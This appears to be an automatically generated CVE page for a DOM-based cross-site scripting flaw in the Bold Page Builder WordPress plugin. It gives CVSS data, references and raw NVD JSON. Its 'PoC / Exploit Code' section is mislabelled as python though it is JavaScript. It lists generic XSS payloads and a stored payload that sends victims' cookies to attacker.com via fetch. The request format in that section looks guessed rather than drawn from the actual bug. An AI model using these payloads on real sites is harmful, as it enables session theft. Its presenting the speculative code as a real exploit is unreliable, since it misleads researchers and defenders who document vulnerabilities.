CVE-2025-66057

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in boldthemes Bold Page Builder bold-page-builder allows DOM-Based XSS.This issue affects Bold Page Builder: from n/a through <= 5.5.2.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Bold Page Builder <= 5.5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-66057 PoC - DOM-based XSS in Bold Page Builder
// This PoC demonstrates how an attacker can inject malicious JavaScript
// through the Bold Page Builder plugin's vulnerable input fields

// Method 1: Via URL parameter injection
// Attacker crafts a malicious URL with XSS payload
const maliciousURL = 'https://vulnerable-site.com/page-with-bold-builder?' +
  'param=<script>alert(document.cookie)</script>';

// Method 2: Via DOM manipulation
// If the plugin reflects user input in the DOM without sanitization
const xssPayloads = [
  '<script>alert("XSS")</script>',
  '<img src=x onerror=alert(document.domain)>',
  '<svg/onload=alert(document.cookie)>',
  'javascript:alert(document.location)',
  '<body onload=alert(String.fromCharCode(88,83,83))>'
];

// Method 3: Exploitation via stored content
// If the plugin allows users to input content that gets rendered
const exploitTemplate = {
  action: 'insert_shortcode',
  content: '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>',
  builder_id: 'bold-page-builder'
};

// Attack flow:
// 1. Attacker identifies a WordPress site using Bold Page Builder <= 5.5.2
// 2. Attacker creates a malicious URL or injects XSS payload through plugin input
// 3. Victim visits the page or interacts with the vulnerable component
// 4. Malicious JavaScript executes in victim's browser context
// 5. Attacker steals session cookies or performs actions on behalf of victim

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66057
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66057
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66057/
[4] VulDB https://vuldb.com/cve/CVE-2025-66057
[5] https://patchstack.com/database/Wordpress/Plugin/bold-page-builder/vulnerability/wordpress-bold-page-builder-plugin-5-5-2-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66057", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:46.497", "lastModified": "2026-04-27T18:16:31.483", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in boldthemes Bold Page Builder bold-page-builder allows DOM-Based XSS.This issue affects Bold Page Builder: from n/a through <= 5.5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/bold-page-builder/vulnerability/wordpress-bold-page-builder-plugin-5-5-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}